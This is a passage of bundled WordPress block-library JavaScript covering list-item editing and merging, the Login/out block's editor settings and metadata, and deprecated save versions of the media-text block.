27430 mergeBlocks(clientIdA, clientIdB);
27431 });
27432 }
27433 if (forward) {
27434 const nextBlockClientId = getNextId(clientId);
27435 if (!nextBlockClientId) {
27436 onMerge(forward);
27437 return;
27438 }
27439 if (getParentListItemId(nextBlockClientId)) {
27440 outdentListItem(nextBlockClientId);
27441 } else {
27442 mergeWithNested(clientId, nextBlockClientId);
27443 }
27444 } else {
27445 const previousBlockClientId = getPreviousBlockClientId(clientId);
27446 if (getParentListItemId(clientId)) {
27447 outdentListItem(clientId);
27448 } else if (previousBlockClientId) {
27449 const trailingId = getTrailingId(previousBlockClientId);
27450 mergeWithNested(trailingId, clientId);
27451 } else {
27452 onMerge(forward);
27453 }
27454 }
27455 };
27456}
27457
27458
27459;// ./node_modules/@wordpress/block-library/build-module/list-item/edit.js
27460
27461
27462
27463
27464
27465
27466
27467
27468
27469function edit_IndentUI({ clientId }) {
27470 const indentListItem = useIndentListItem(clientId);
27471 const outdentListItem = useOutdentListItem();
27472 const { canIndent, canOutdent } = (0,external_wp_data_namespaceObject.useSelect)(
27473 (select) => {
27474 const { getBlockIndex, getBlockRootClientId, getBlockName } = select(external_wp_blockEditor_namespaceObject.store);
27475 return {
27476 canIndent: getBlockIndex(clientId) > 0,
27477 canOutdent: getBlockName(
27478 getBlockRootClientId(getBlockRootClientId(clientId))
27479 ) === "core/list-item"
27480 };
27481 },
27482 [clientId]
27483 );
27484 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
27485 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27486 external_wp_components_namespaceObject.ToolbarButton,
27487 {
27488 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? format_outdent_rtl_default : format_outdent_default,
27489 title: (0,external_wp_i18n_namespaceObject.__)("Outdent"),
27490 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.shift("Tab"),
27491 description: (0,external_wp_i18n_namespaceObject.__)("Outdent list item"),
27492 disabled: !canOutdent,
27493 onClick: () => outdentListItem()
27494 }
27495 ),
27496 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27497 external_wp_components_namespaceObject.ToolbarButton,
27498 {
27499 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? format_indent_rtl_default : format_indent_default,
27500 title: (0,external_wp_i18n_namespaceObject.__)("Indent"),
27501 shortcut: "Tab",
27502 description: (0,external_wp_i18n_namespaceObject.__)("Indent list item"),
27503 disabled: !canIndent,
27504 onClick: () => indentListItem()
27505 }
27506 )
27507 ] });
27508}
27509function ListItemEdit({
27510 attributes,
27511 setAttributes,
27512 clientId,
27513 mergeBlocks
27514}) {
27515 const { placeholder, content } = attributes;
27516 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
27517 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
27518 renderAppender: false,
27519 __unstableDisableDropZone: true
27520 });
27521 const useEnterRef = use_enter_useEnter({ content, clientId });
27522 const useSpaceRef = useSpace(clientId);
27523 const onMerge = useMerge(clientId, mergeBlocks);
27524 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
27525 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { ...innerBlocksProps, children: [
27526 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27527 external_wp_blockEditor_namespaceObject.RichText,
27528 {
27529 ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([useEnterRef, useSpaceRef]),
27530 identifier: "content",
27531 tagName: "div",
27532 onChange: (nextContent) => setAttributes({ content: nextContent }),
27533 value: content,
27534 "aria-label": (0,external_wp_i18n_namespaceObject.__)("List text"),
27535 placeholder: placeholder || (0,external_wp_i18n_namespaceObject.__)("List"),
27536 onMerge
27537 }
27538 ),
27539 innerBlocksProps.children
27540 ] }),
27541 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(edit_IndentUI, { clientId }) })
27542 ] });
27543}
27544
27545
27546;// ./node_modules/@wordpress/block-library/build-module/list-item/save.js
27547
27548
27549function list_item_save_save({ attributes }) {
27550 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: [
27551 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: attributes.content }),
27552 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {})
27553 ] });
27554}
27555
27556
27557;// ./node_modules/@wordpress/block-library/build-module/list-item/transforms.js
27558
27559const list_item_transforms_transforms = {
27560 to: [
27561 {
27562 type: "block",
27563 blocks: ["core/paragraph"],
27564 transform: (attributes, innerBlocks = []) => [
27565 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", attributes),
27566 ...innerBlocks.map((block) => (0,external_wp_blocks_namespaceObject.cloneBlock)(block))
27567 ]
27568 }
27569 ]
27570};
27571var list_item_transforms_transforms_default = list_item_transforms_transforms;
27572
27573
27574;// ./node_modules/@wordpress/block-library/build-module/list-item/index.js
27575
27576
27577
27578
27579
27580
27581
27582
27583const { name: list_item_name } = list_item_block_namespaceObject;
27584const list_item_settings = {
27585 icon: list_item_default,
27586 edit: ListItemEdit,
27587 save: list_item_save_save,
27588 merge(attributes, attributesToMerge) {
27589 return {
27590 ...attributes,
27591 content: attributes.content + attributesToMerge.content
27592 };
27593 },
27594 transforms: list_item_transforms_transforms_default,
27595 [unlock(external_wp_blockEditor_namespaceObject.privateApis).requiresWrapperOnCopy]: true
27596};
27597const list_item_init = () => initBlock({ name: list_item_name, metadata: list_item_block_namespaceObject, settings: list_item_settings });
27598
27599
27600;// ./node_modules/@wordpress/icons/build-module/library/login.js
27601
27602
27603var login_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11 14.5l1.1 1.1 3-3 .5-.5-.6-.6-3-3-1 1 1.7 1.7H5v1.5h7.7L11 14.5zM16.8 5h-7c-1.1 0-2 .9-2 2v1.5h1.5V7c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v10c0 .3-.2.5-.5.5h-7c-.3 0-.5-.2-.5-.5v-1.5H7.8V17c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2z" }) });
27604
27605
27606;// ./node_modules/@wordpress/block-library/build-module/loginout/edit.js
27607
27608
27609
27610
27611
27612function LoginOutEdit({ attributes, setAttributes }) {
27613 const { displayLoginAsForm, redirectToCurrent } = attributes;
27614 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
27615 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
27616 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
27617 external_wp_components_namespaceObject.__experimentalToolsPanel,
27618 {
27619 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
27620 resetAll: () => {
27621 setAttributes({
27622 displayLoginAsForm: false,
27623 redirectToCurrent: true
27624 });
27625 },
27626 dropdownMenuProps,
27627 children: [
27628 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27629 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
27630 {
27631 label: (0,external_wp_i18n_namespaceObject.__)("Display login as form"),
27632 isShownByDefault: true,
27633 hasValue: () => displayLoginAsForm,
27634 onDeselect: () => setAttributes({ displayLoginAsForm: false }),
27635 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27636 external_wp_components_namespaceObject.ToggleControl,
27637 {
27638 __nextHasNoMarginBottom: true,
27639 label: (0,external_wp_i18n_namespaceObject.__)("Display login as form"),
27640 checked: displayLoginAsForm,
27641 onChange: () => setAttributes({
27642 displayLoginAsForm: !displayLoginAsForm
27643 })
27644 }
27645 )
27646 }
27647 ),
27648 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27649 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
27650 {
27651 label: (0,external_wp_i18n_namespaceObject.__)("Redirect to current URL"),
27652 isShownByDefault: true,
27653 hasValue: () => !redirectToCurrent,
27654 onDeselect: () => setAttributes({ redirectToCurrent: true }),
27655 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27656 external_wp_components_namespaceObject.ToggleControl,
27657 {
27658 __nextHasNoMarginBottom: true,
27659 label: (0,external_wp_i18n_namespaceObject.__)("Redirect to current URL"),
27660 checked: redirectToCurrent,
27661 onChange: () => setAttributes({
27662 redirectToCurrent: !redirectToCurrent
27663 })
27664 }
27665 )
27666 }
27667 )
27668 ]
27669 }
27670 ) }),
27671 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27672 "div",
27673 {
27674 ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)({
27675 className: "logged-in"
27676 }),
27677 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href: "#login-pseudo-link", children: (0,external_wp_i18n_namespaceObject.__)("Log out") })
27678 }
27679 )
27680 ] });
27681}
27682
27683
27684;// ./node_modules/@wordpress/block-library/build-module/loginout/block.json
27685const loginout_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/loginout","title":"Login/out","category":"theme","description":"Show login & logout links.","keywords":["login","logout","form"],"textdomain":"default","attributes":{"displayLoginAsForm":{"type":"boolean","default":false},"redirectToCurrent":{"type":"boolean","default":true}},"example":{"viewportWidth":350},"supports":{"className":true,"color":{"background":true,"text":false,"gradients":true,"link":true},"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true},"interactivity":{"clientNavigation":true}},"style":"wp-block-loginout"}');
27686;// ./node_modules/@wordpress/block-library/build-module/loginout/index.js
27687
27688
27689
27690
27691const { name: loginout_name } = loginout_block_namespaceObject;
27692const loginout_settings = {
27693 icon: login_default,
27694 edit: LoginOutEdit
27695};
27696const loginout_init = () => initBlock({ name: loginout_name, metadata: loginout_block_namespaceObject, settings: loginout_settings });
27697
27698
27699;// ./node_modules/@wordpress/icons/build-module/library/media-and-text.js
27700
27701
27702var media_and_text_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M3 6v11.5h8V6H3Zm11 3h7V7.5h-7V9Zm7 3.5h-7V11h7v1.5ZM14 16h7v-1.5h-7V16Z" }) });
27703
27704
27705;// ./node_modules/@wordpress/block-library/build-module/media-text/constants.js
27706
27707const media_text_constants_DEFAULT_MEDIA_SIZE_SLUG = "full";
27708const WIDTH_CONSTRAINT_PERCENTAGE = 15;
27709const media_text_constants_LINK_DESTINATION_MEDIA = "media";
27710const media_text_constants_LINK_DESTINATION_ATTACHMENT = "attachment";
27711const constants_TEMPLATE = [
27712 [
27713 "core/paragraph",
27714 {
27715 placeholder: (0,external_wp_i18n_namespaceObject._x)("Content\u2026", "content placeholder")
27716 }
27717 ]
27718];
27719
27720
27721;// ./node_modules/@wordpress/block-library/build-module/media-text/deprecated.js
27722
27723
27724
27725
27726
27727const v1ToV5ImageFillStyles = (url, focalPoint) => {
27728 return url ? {
27729 backgroundImage: `url(${url})`,
27730 backgroundPosition: focalPoint ? `${focalPoint.x * 100}% ${focalPoint.y * 100}%` : `50% 50%`
27731 } : {};
27732};
27733const v6ToV7ImageFillStyles = (url, focalPoint) => {
27734 return url ? {
27735 backgroundImage: `url(${url})`,
27736 backgroundPosition: focalPoint ? `${Math.round(focalPoint.x * 100)}% ${Math.round(
27737 focalPoint.y * 100
27738 )}%` : `50% 50%`
27739 } : {};
27740};
27741const DEFAULT_MEDIA_WIDTH = 50;
27742const noop = () => {
27743};
27744const media_text_deprecated_migrateCustomColors = (attributes) => {
27745 if (!attributes.customBackgroundColor) {
27746 return attributes;
27747 }
27748 const style = {
27749 color: {
27750 background: attributes.customBackgroundColor
27751 }
27752 };
27753 const { customBackgroundColor, ...restAttributes } = attributes;
27754 return {
27755 ...restAttributes,
27756 style
27757 };
27758};
27759const migrateDefaultAlign = (attributes) => {
27760 if (attributes.align) {
27761 return attributes;
27762 }
27763 return {
27764 ...attributes,
27765 align: "wide"
27766 };
27767};
27768const v0Attributes = {
27769 align: {
27770 type: "string",
27771 default: "wide"
27772 },
27773 mediaAlt: {
27774 type: "string",
27775 source: "attribute",
27776 selector: "figure img",
27777 attribute: "alt",
27778 default: ""
27779 },
27780 mediaPosition: {
27781 type: "string",
27782 default: "left"
27783 },
27784 mediaId: {
27785 type: "number"
27786 },
27787 mediaType: {
27788 type: "string"
27789 },
27790 mediaWidth: {
27791 type: "number",
27792 default: 50
27793 },
27794 isStackedOnMobile: {
27795 type: "boolean",
27796 default: false
27797 }
27798};
27799const v4ToV5BlockAttributes = {
27800 ...v0Attributes,
27801 isStackedOnMobile: {
27802 type: "boolean",
27803 default: true
27804 },
27805 mediaUrl: {
27806 type: "string",
27807 source: "attribute",
27808 selector: "figure video,figure img",
27809 attribute: "src"
27810 },
27811 mediaLink: {
27812 type: "string"
27813 },
27814 linkDestination: {
27815 type: "string"
27816 },
27817 linkTarget: {
27818 type: "string",
27819 source: "attribute",
27820 selector: "figure a",
27821 attribute: "target"
27822 },
27823 href: {
27824 type: "string",
27825 source: "attribute",
27826 selector: "figure a",
27827 attribute: "href"
27828 },
27829 rel: {
27830 type: "string",
27831 source: "attribute",
27832 selector: "figure a",
27833 attribute: "rel"
27834 },
27835 linkClass: {
27836 type: "string",
27837 source: "attribute",
27838 selector: "figure a",
27839 attribute: "class"
27840 },
27841 mediaSizeSlug: {
27842 type: "string"
27843 },
27844 verticalAlignment: {
27845 type: "string"
27846 },
27847 imageFill: {
27848 type: "boolean"
27849 },
27850 focalPoint: {
27851 type: "object"
27852 }
27853};
27854const v6Attributes = {
27855 ...v4ToV5BlockAttributes,
27856 mediaAlt: {
27857 type: "string",
27858 source: "attribute",
27859 selector: "figure img",
27860 attribute: "alt",
27861 default: "",
27862 role: "content"
27863 },
27864 mediaId: {
27865 type: "number",
27866 role: "content"
27867 },
27868 mediaUrl: {
27869 type: "string",
27870 source: "attribute",
27871 selector: "figure video,figure img",
27872 attribute: "src",
27873 role: "content"
27874 },
27875 href: {
27876 type: "string",
27877 source: "attribute",
27878 selector: "figure a",
27879 attribute: "href",
27880 role: "content"
27881 },
27882 mediaType: {
27883 type: "string",
27884 role: "content"
27885 }
27886};
27887const v7Attributes = {
27888 ...v6Attributes,
27889 align: {
27890 type: "string",
27891 // v7 changed the default for the `align` attribute.
27892 default: "none"
27893 },
27894 // New attribute.
27895 useFeaturedImage: {
27896 type: "boolean",
27897 default: false
27898 }
27899};
27900const v4ToV5Supports = {
27901 anchor: true,
27902 align: ["wide", "full"],
27903 html: false,
27904 color: {
27905 gradients: true,
27906 link: true
27907 }
27908};
27909const v6Supports = {
27910 ...v4ToV5Supports,
27911 color: {
27912 gradients: true,
27913 link: true,
27914 __experimentalDefaultControls: {
27915 background: true,
27916 text: true
27917 }
27918 },
27919 spacing: {
27920 margin: true,
27921 padding: true
27922 },
27923 typography: {
27924 fontSize: true,
27925 lineHeight: true,
27926 __experimentalFontFamily: true,
27927 __experimentalFontWeight: true,
27928 __experimentalFontStyle: true,
27929 __experimentalTextTransform: true,
27930 __experimentalTextDecoration: true,
27931 __experimentalLetterSpacing: true,
27932 __experimentalDefaultControls: {
27933 fontSize: true
27934 }
27935 }
27936};
27937const v7Supports = {
27938 ...v6Supports,
27939 __experimentalBorder: {
27940 color: true,
27941 radius: true,
27942 style: true,
27943 width: true,
27944 __experimentalDefaultControls: {
27945 color: true,
27946 radius: true,
27947 style: true,
27948 width: true
27949 }
27950 },
27951 color: {
27952 gradients: true,
27953 heading: true,
27954 link: true,
27955 __experimentalDefaultControls: {
27956 background: true,
27957 text: true
27958 }
27959 },
27960 interactivity: {
27961 clientNavigation: true
27962 }
27963};
27964const media_text_deprecated_v7 = {
27965 attributes: v7Attributes,
27966 supports: v7Supports,
27967 usesContext: ["postId", "postType"],
27968 save({ attributes }) {
27969 const {
27970 isStackedOnMobile,
27971 mediaAlt,
27972 mediaPosition,
27973 mediaType,
27974 mediaUrl,
27975 mediaWidth,
27976 mediaId,
27977 verticalAlignment,
27978 imageFill,
27979 focalPoint,
27980 linkClass,
27981 href,
27982 linkTarget,
27983 rel
27984 } = attributes;
27985 const mediaSizeSlug = attributes.mediaSizeSlug || media_text_constants_DEFAULT_MEDIA_SIZE_SLUG;
27986 const newRel = !rel ? void 0 : rel;
27987 const imageClasses = dist_clsx({
27988 [`wp-image-${mediaId}`]: mediaId && mediaType === "image",
27989 [`size-${mediaSizeSlug}`]: mediaId && mediaType === "image"
27990 });
27991 let image = mediaUrl ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
27992 "img",
27993 {
27994 src: mediaUrl,
27995 alt: mediaAlt,
27996 className: imageClasses || null
27997 }
27998 ) : null;
27999 if (href) {
28000 image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28001 "a",
28002 {
28003 className: linkClass,
28004 href,
28005 target: linkTarget,
28006 rel: newRel,
28007 children: image
28008 }
28009 );
28010 }
28011 const mediaTypeRenders = {
28012 image: () => image,
28013 video: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("video", { controls: true, src: mediaUrl })
28014 };
28015 const className = dist_clsx({
28016 "has-media-on-the-right": "right" === mediaPosition,
28017 "is-stacked-on-mobile": isStackedOnMobile,
28018 [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
28019 "is-image-fill": imageFill
28020 });
28021 const backgroundStyles = imageFill ? v6ToV7ImageFillStyles(mediaUrl, focalPoint) : {};
28022 let gridTemplateColumns;
28023 if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
28024 gridTemplateColumns = "right" === mediaPosition ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
28025 }
28026 const style = {
28027 gridTemplateColumns
28028 };
28029 if ("right" === mediaPosition) {
28030 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, style }), children: [
28031 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28032 "div",
28033 {
28034 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
28035 className: "wp-block-media-text__content"
28036 })
28037 }
28038 ),
28039 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28040 "figure",
28041 {
28042 className: "wp-block-media-text__media",
28043 style: backgroundStyles,
28044 children: (mediaTypeRenders[mediaType] || noop)()
28045 }
28046 )
28047 ] });
28048 }
28049 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, style }), children: [
28050 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28051 "figure",
28052 {
28053 className: "wp-block-media-text__media",
28054 style: backgroundStyles,
28055 children: (mediaTypeRenders[mediaType] || noop)()
28056 }
28057 ),
28058 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28059 "div",
28060 {
28061 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
28062 className: "wp-block-media-text__content"
28063 })
28064 }
28065 )
28066 ] });
28067 }
28068};
28069const media_text_deprecated_v6 = {
28070 attributes: v6Attributes,
28071 supports: v6Supports,
28072 save({ attributes }) {
28073 const {
28074 isStackedOnMobile,
28075 mediaAlt,
28076 mediaPosition,
28077 mediaType,
28078 mediaUrl,
28079 mediaWidth,
28080 mediaId,
28081 verticalAlignment,
28082 imageFill,
28083 focalPoint,
28084 linkClass,
28085 href,
28086 linkTarget,
28087 rel
28088 } = attributes;
28089 const mediaSizeSlug = attributes.mediaSizeSlug || media_text_constants_DEFAULT_MEDIA_SIZE_SLUG;
28090 const newRel = !rel ? void 0 : rel;
28091 const imageClasses = dist_clsx({
28092 [`wp-image-${mediaId}`]: mediaId && mediaType === "image",
28093 [`size-${mediaSizeSlug}`]: mediaId && mediaType === "image"
28094 });
28095 let image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28096 "img",
28097 {
28098 src: mediaUrl,
28099 alt: mediaAlt,
28100 className: imageClasses || null
28101 }
28102 );
28103 if (href) {
28104 image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28105 "a",
28106 {
28107 className: linkClass,
28108 href,
28109 target: linkTarget,
28110 rel: newRel,
28111 children: image
28112 }
28113 );
28114 }
28115 const mediaTypeRenders = {
28116 image: () => image,
28117 video: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("video", { controls: true, src: mediaUrl })
28118 };
28119 const className = dist_clsx({
28120 "has-media-on-the-right": "right" === mediaPosition,
28121 "is-stacked-on-mobile": isStackedOnMobile,
28122 [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
28123 "is-image-fill": imageFill
28124 });
28125 const backgroundStyles = imageFill ? v6ToV7ImageFillStyles(mediaUrl, focalPoint) : {};
28126 let gridTemplateColumns;
28127 if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
28128 gridTemplateColumns = "right" === mediaPosition ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
28129 }
28130 const style = {
28131 gridTemplateColumns
28132 };
28133 if ("right" === mediaPosition) {
28134 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, style }), children: [
28135 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28136 "div",
28137 {
28138 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
28139 className: "wp-block-media-text__content"
28140 })
28141 }
28142 ),
28143 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28144 "figure",
28145 {
28146 className: "wp-block-media-text__media",
28147 style: backgroundStyles,
28148 children: (mediaTypeRenders[mediaType] || noop)()
28149 }
28150 )
28151 ] });
28152 }
28153 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, style }), children: [
28154 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28155 "figure",
28156 {
28157 className: "wp-block-media-text__media",
28158 style: backgroundStyles,
28159 children: (mediaTypeRenders[mediaType] || noop)()
28160 }
28161 ),
28162 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28163 "div",
28164 {
28165 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
28166 className: "wp-block-media-text__content"
28167 })
28168 }
28169 )
28170 ] });
28171 },
28172 migrate: migrateDefaultAlign,
28173 isEligible(attributes, innerBlocks, { block }) {
28174 const { attributes: finalizedAttributes } = block;
28175 return attributes.align === void 0 && !!finalizedAttributes.className?.includes("alignwide");
28176 }
28177};
28178const media_text_deprecated_v5 = {
28179 attributes: v4ToV5BlockAttributes,
28180 supports: v4ToV5Supports,
28181 save({ attributes }) {
28182 const {
28183 isStackedOnMobile,
28184 mediaAlt,
28185 mediaPosition,
28186 mediaType,
28187 mediaUrl,
28188 mediaWidth,
28189 mediaId,
28190 verticalAlignment,
28191 imageFill,
28192 focalPoint,
28193 linkClass,
28194 href,
28195 linkTarget,
28196 rel
28197 } = attributes;
28198 const mediaSizeSlug = attributes.mediaSizeSlug || media_text_constants_DEFAULT_MEDIA_SIZE_SLUG;
28199 const newRel = !rel ? void 0 : rel;
28200 const imageClasses = dist_clsx({
28201 [`wp-image-${mediaId}`]: mediaId && mediaType === "image",
28202 [`size-${mediaSizeSlug}`]: mediaId && mediaType === "image"
28203 });
28204 let image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28205 "img",
28206 {
28207 src: mediaUrl,
28208 alt: mediaAlt,
28209 className: imageClasses || null
28210 }
28211 );
28212 if (href) {
28213 image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28214 "a",
28215 {
28216 className: linkClass,
28217 href,
28218 target: linkTarget,
28219 rel: newRel,
28220 children: image
28221 }
28222 );
28223 }
28224 const mediaTypeRenders = {
28225 image: () => image,
28226 video: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("video", { controls: true, src: mediaUrl })
28227 };
28228 const className = dist_clsx({
28229 "has-media-on-the-right": "right" === mediaPosition,
28230 "is-stacked-on-mobile": isStackedOnMobile,
28231 [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
28232 "is-image-fill": imageFill
28233 });
28234 const backgroundStyles = imageFill ? v1ToV5ImageFillStyles(mediaUrl, focalPoint) : {};
28235 let gridTemplateColumns;
28236 if (mediaWidth !== DEFAULT_MEDIA_WIDTH) {
28237 gridTemplateColumns = "right" === mediaPosition ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
28238 }
28239 const style = {
28240 gridTemplateColumns
28241 };
28242 if ("right" === mediaPosition) {
28243 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, style }), children: [
28244 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28245 "div",
28246 {
28247 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
28248 className: "wp-block-media-text__content"
28249 })
28250 }
28251 ),
28252 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28253 "figure",
28254 {
28255 className: "wp-block-media-text__media",
28256 style: backgroundStyles,
28257 children: (mediaTypeRenders[mediaType] || noop)()
28258 }
28259 )
28260 ] });
28261 }
28262 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className, style }), children: [
28263 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28264 "figure",
28265 {
28266 className: "wp-block-media-text__media",
28267 style: backgroundStyles,
28268 children: (mediaTypeRenders[mediaType] || noop)()
28269 }
28270 ),
28271 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28272 "div",
28273 {
28274 ...external_wp_blockEditor_namespaceObject.useInnerBlocksProps.save({
28275 className: "wp-block-media-text__content"
28276 })
28277 }
28278 )
28279 ] });
28280 },
28281 migrate: migrateDefaultAlign
28282};
28283const media_text_deprecated_v4 = {
28284 attributes: v4ToV5BlockAttributes,
28285 supports: v4ToV5Supports,
28286 save({ attributes }) {
28287 const {
28288 isStackedOnMobile,
28289 mediaAlt,
28290 mediaPosition,
28291 mediaType,
28292 mediaUrl,
28293 mediaWidth,
28294 mediaId,
28295 verticalAlignment,
28296 imageFill,
28297 focalPoint,
28298 linkClass,
28299 href,
28300 linkTarget,
28301 rel
28302 } = attributes;
28303 const mediaSizeSlug = attributes.mediaSizeSlug || media_text_constants_DEFAULT_MEDIA_SIZE_SLUG;
28304 const newRel = !rel ? void 0 : rel;
28305 const imageClasses = dist_clsx({
28306 [`wp-image-${mediaId}`]: mediaId && mediaType === "image",
28307 [`size-${mediaSizeSlug}`]: mediaId && mediaType === "image"
28308 });
28309 let image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28310 "img",
28311 {
28312 src: mediaUrl,
28313 alt: mediaAlt,
28314 className: imageClasses || null
28315 }
28316 );
28317 if (href) {
28318 image = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
28319 "a",
28320 {
28321 className: linkClass,
28322 href,
28323 target: linkTarget,
28324 rel: newRel,
28325 children: image
28326 }
28327 );
28328 }
28329 const mediaTypeRenders = {
28330 image: () => image,
28331 video: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("video", { controls: true, src: mediaUrl })
28332 };
28333 const className = dist_clsx({
28334 "has-media-on-the-right": "right" === mediaPosition,
28335 "is-stacked-on-mobile": isStackedOnMobile,
28336 [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
